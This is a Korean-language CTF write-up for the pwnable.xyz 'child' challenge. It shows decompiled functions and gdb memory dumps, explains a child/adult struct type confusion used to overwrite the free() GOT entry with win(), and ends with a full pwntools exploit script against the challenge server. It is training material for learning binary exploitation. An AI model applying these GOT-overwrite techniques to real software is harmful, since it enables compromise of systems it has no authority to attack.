Analytic

checksec으로 검사 해보니 처음보는 것이 있는데 `fortify: enabled` 이다.

이건 처음봐서 뭔지 모르겠다... 문제 푸는데는 지장 없는듯..?

 

 

`create_child()` 함수를 보면 18세 이하만 조건을 통과 할 수 있는데, 조건을 통과하면 `child`의 구조체가 만들어진다.

void create_child(){
  __printf_chk(1, "Age: ")
  int64_t rax_1 = read_int32()
  uint64_t rax_7
  if (rax_1:0.d u> 0x12)
      rax_7 = puts("Not a child.")
  else
      void* rax_2 = malloc(0x20)
      *(rax_2 + 0x18) = sx.q(rax_1:0.d)
      *(rax_2 + 8) = 1
      *rax_2 = malloc(0x10)
      __printf_chk(1, "Name: ")
      read(0, *rax_2, 0x10)
      *(rax_2 + 0x10) = malloc(0x20)
      __printf_chk(1, "Job: ")
      read(0, *(rax_2 + 0x10), 0x20)
      if (*town == 0)
          rax_7 = 0
      else
          void* rdx_1 = data_602288
          rax_7 = 1
          while (*rdx_1 != 0)
              rax_7 = zx.q(rax_7:0.d + 1)
              rdx_1 = rdx_1 + 8
              if (rax_7:0.d == 0xa)
                  puts("Town full.")
                  exit(1)
                  noreturn
      rax_7 = sx.q(rax_7:0.d)
      *(town + (rax_7 << 3)) = rax_2
  return rax_7
}

`child` 의 구조는 다음과 같다. `0x603260` 를 rax라고 표기하고 설명하겠다.

  • `rax`: 이름의 주소
  • `rax+0x8`:  어린이(1) 인지 성인(2) 인지를 나타내기 위한 값
  • `rax+0x10`: 직업의 주소
  • `rax+0x18`: 나이
gdb-peda$ x/20gx 0x603260   
0x603260:       0x0000000000603290      0x0000000000000001
0x603270:       0x00000000006032b0      0x0000000000000012
0x603280:       0x0000000000000000      0x0000000000000021
0x603290:       0x0000000a41414141      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000031
0x6032b0:       0x0000000a42424242      0x0000000000000000
0x6032c0:       0x0000000000000000      0x0000000000000000
0x6032d0:       0x0000000000000000      0x0000000000020d31

 

 

 

`create_adult()` 함수도 마찬가지로 `adult` 구조체가 만들어져 `child` 구조체가 만들어 질 때와 비슷하다.

void create_adult(){
  __printf_chk(1, "Age: ")
  int64_t rax_1 = read_int32()
  uint64_t rbp = zx.q(rax_1:0.d)
  uint64_t rax_8
  if ((rax_1 - 0x12).d u> 0x3e)
      rax_8 = puts("Not an adult.")
  else
      void* rax_3 = malloc(0x20)
      *(rax_3 + 0x10) = sx.q(rbp:0.d)
      *(rax_3 + 8) = 2
      *rax_3 = malloc(0x10)
      __printf_chk(1, "Name: ")
      read(0, *rax_3, 0x10)
      *(rax_3 + 0x18) = malloc(0x20)
      __printf_chk(1, "Job: ")
      read(0, *(rax_3 + 0x18), 0x20)
      if (*town == 0)
          rax_8 = 0
      else
          void* rdx_1 = data_602288
          rax_8 = 1
          while (*rdx_1 != 0)
              rax_8 = zx.q(rax_8:0.d + 1)
              rdx_1 = rdx_1 + 8
              if (rax_8:0.d == 0xa)
                  puts("Town full.")
                  exit(1)
                  noreturn
      rax_8 = sx.q(rax_8:0.d)
      *(town + (rax_8 << 3)) = rax_3
  return rax_8
}

`child` 구조체와 `adult` 구조체의 차이점은 `rax+0x10` 과 `rax+0x18` 이 서로 바뀌어 있다.

  • `rax`: 이름의 주소
  • `rax+0x8`:  어린이(1) 인지 성인(2) 인지를 나타내기 위한 값
  • `rax+0x10`: 나이
  • `rax+0x18`: 직업의 주소

 

gdb-peda$ x/20gx 0x6032e0
0x6032e0:       0x0000000000603310      0x0000000000000002
0x6032f0:       0x0000000000000015      0x0000000000603330
0x603300:       0x0000000000000000      0x0000000000000021
0x603310:       0x0000000a43434343      0x0000000000000000
0x603320:       0x0000000000000000      0x0000000000000031
0x603330:       0x0000000a44444444      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000020cb1

 

 

 

`age_up()` 함수는 나이를 +1 해준다. 문제는 나이만 올려서 `rax+0x8`의 값은 아이가 성인이 되어도 `0x1` 로 고정이다.

void age_up(){
  __printf_chk(1, "Person: ")
  int64_t rax_1 = read_int32()
  void* rax_3
  if (rax_1:0.d u> 0xa)
      rax_3 = puts("Outside of town.")
  else
      rax_3 = *(town + (sx.q(rax_1:0.d) << 3))
      if (rax_3 == 0)
          rax_3 = puts("Does not exist. Probably abducte…")
      else
          int64_t rdx_1 = *(rax_3 + 8)
          if (rdx_1 == 1)
              *(rax_3 + 0x18) = *(rax_3 + 0x18) + 1
          else if (rdx_1 == 2)
              *(rax_3 + 0x10) = *(rax_3 + 0x10) + 1
  return rax_3
}

 

 

 

`transform_person()` 함수는 사람의 이름과 직업을 바꿀수 있다. 이때 그 사람의 나이를 확인하는데,
어린이는 `*(rax+0x18) > 0x11` 이면 `*(rax+0x8) += 1` 하고,
성인은 ` *(rax+0x10) - 0x13 <= 0x3d ` 이면 ` *(rax+0x8) += 1 ` 하게 된다.

void transform_person(){
  __printf_chk(1, "Person: ")
  int64_t rax_1 = read_int32()
  int64_t rax_3
  if (rax_1:0.d u> 0xa)
      rax_3 = puts("Outside of town.")
  else
      int64_t* rbx_1 = *(town + (sx.q(rax_1:0.d) << 3))
      if (rbx_1 == 0)
          rax_3 = puts("Does not exist. Probably abducte…")
      else
          rax_3 = *(rbx_1 + 8)
          if (rax_3 == 1)
              __printf_chk(1, "Name: ", town)
              read(0, *rbx_1, 0x10)
              __printf_chk(1, "Job: ")
              read(0, *(rbx_1 + 0x10), 0x20)
              int64_t rax_6
              rax_6:0.b = *(rbx_1 + 0x18) u> 0x11
              rax_3 = zx.q(zx.d(rax_6:0.b)) + 1
              *(rbx_1 + 8) = rax_3
          else if (rax_3 == 2)
              __printf_chk(1, "Name: ", town)
              read(0, *rbx_1, 0x10)
              __printf_chk(1, "Job: ")
              read(0, *(rbx_1 + 0x18), 0x20)
              int64_t rax_11
              rax_11:0.b = *(rbx_1 + 0x10) - 0x13 u<= 0x3d
              rax_3 = zx.q(zx.d(rax_11:0.b)) + 1
              *(rbx_1 + 8) = rax_3
  return rax_3
}

 

 

 

How To Exploit

 

접근 방법은 `child` 와 `adult` 의 구조체가 약간 다르고, `age_up()` 함수를 통해 나이만 +1 할 수 있다는 점과,
`transform_person()` 함수를 통해 어린이 <-> 성인 이 가능하다는 것을 알 수 있다.

 

우선 `child`와 `adult` 구조체를 만든다.

create_child(18, "A", "A")
create_adult(18, "A", "A")

`child` 구조체의 나이를 올린뒤, `transform_person()` 함수를 통해 `child` 구조체를 성인으로 만든다.

age_up(0)
transform_person(0, "A", "A")

그럼 `child` 구조체는 `adult` 구조를 따르며, `age_up()` 함수를 호출하면 `0x603260 + 0x10` 의 값을 +1 하게 된다.

`0x30` 반복하는 이유는 `0x6032e0 - 0x6032b0 = 0x30` 이므로 `0x6032e0`의 값을 Overwrite 하기 위한 작업이다.

for i in range(0x30):
    age_up(0)

 

`*0x603270 = 0x6032e0` 이 되었으면 `0x6032e0` 의 값을 GOT로 Overwrite 하기위해 `transform_person()` 으로
어른 -> 어린이 로 바꿔줘야 한다. 여기서 중요한 점은 `read()` 함수로 직업을 입력할 때 `0x603278` 의 값에 write 하려고 한다. 이때의 값은 `0x13` 이므로 `-1`을 return 한다. 이때 입력하려는 값은 버퍼에 남아 있다가 다음 입력으로 미뤄지니 `7` 이라는 아무런 의미 없는 값으로 적어준다.

transform_person(0, "A", "7")

 

`child`는 위 코드로 어린이 -> 성인 -> 어린이 로 다시 원래대로 돌아왔다. 다시 `transform_person()` 함수를 호출하면 `0x603270`의 값인 `0x6032e0`에 write 할것이다. 값은 `free()` 함수의 GOT를 적어준다.

이후 맨 처음에 만들어 둔 `adult` 구조체를 `transform_person()` 로 호출하여 `free()` GOT를 `win()` 함수의 주소로 Overwrite 한다.

transform_person(0, "A", p64(e.got["free"]))
transform_person(1, p64(e.symbols["win"]), "A")

`free()` 함수를 호출하기 위해 `delete_person()` 함수를 호출한다. 그러면 `win()` 함수가 실행이 된다.

Delete(0)

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz" ,"30038")
e = ELF("./challenge")

def create_child(age, name, job):
    p.sendlineafter("> ", "2")
    p.sendlineafter("Age: ", str(age))
    p.sendlineafter("Name: ", name)
    p.sendlineafter("Job: ", job)

def create_adult(age, name, job):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Age: ", str(age))
    p.sendlineafter("Name: ", name)
    p.sendlineafter("Job: ", job)

def age_up(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("Person: ", str(idx))

def transform_person(idx, name, job):
    p.sendlineafter("> ", "5")
    p.sendlineafter("Person: ", str(idx))
    p.sendlineafter("Name: ", name)
    p.sendafter("Job: ", job)
    
def Delete(idx):
    p.sendlineafter("> ", "6")
    p.sendlineafter("Person: ", str(idx))

create_child(18, "A", "A")
create_adult(18, "A", "A")
age_up(0)
transform_person(0, "A", "A")

for i in range(0x30):
    age_up(0)

transform_person(0, "A", "7")
transform_person(0, "A", p64(e.got["free"]))
transform_person(1, p64(e.symbols["win"]), "A")

Delete(0)

p.interactive()

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] door write up  (0) 2020.08.10
[pwnable.xyz] child write up  (0) 2020.08.09
[pwnable.xyz] car shop write up  (0) 2020.08.09
[pwnable.xyz] words write up  (0) 2020.08.08
[pwnable.xyz] notebook write up  (0) 2020.08.07
[pwnable.xyz] nin write up  (0) 2020.08.07